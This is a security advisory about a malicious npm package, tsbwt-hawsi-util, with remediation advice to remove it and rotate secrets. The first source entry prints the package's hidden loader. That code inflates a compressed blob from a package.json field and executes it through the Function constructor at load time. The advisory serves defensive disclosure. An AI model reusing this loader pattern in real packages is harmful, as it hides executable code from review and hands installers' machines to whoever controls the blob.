MAL-2026-20272: Malicious code in tsbwt-hawsi-util (npm)
--- -= Per source details. Do not edit below this line.=-
Source: amazon-inspector (8a628809b3bbbcb3a405a0250d08c4d352e7438f3dc76454d839be6f84298cc9) On require(), index.js reads a byte array stored in a bz field inside package.json, zlib-inflates it, and passes the resulting string to the Function constructor as code with require and dirname bound into scope: var b=Buffer.from(j.bz);var d=require('zlib').inflateSync(b); FC('require','dirname',d.toString('utf8'))(require,dirname);. The whole construct is wrapped in a silent try/catch. In this published version the inflated bytes decode to console.log(1), so no harmful behavior fires, but the mechanism is a general-purpose hidden code loader: whatever bytes the maintainer ships in the manifest's bz field are decompressed and executed at module load time with full Node privileges, and the opaque binary blob in a non-code field evades normal source review. The decoded payload has access to the full require resolver and the package directory, enabling arbitrary filesystem, network, and child-process actions.
Source: ghsa-malware (f60d2fd5582018d3f424ae73b45ab0e09876546e79056ae4de67d2be71b29cf9) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Remove
Remove
npm/tsbwt-hawsi-utilfrom your environment.Remove the package; removing it may not remove all malicious software resulting from its installation.
- Operational
Rotate all secrets and keys stored on the affected computer immediately, using a different computer.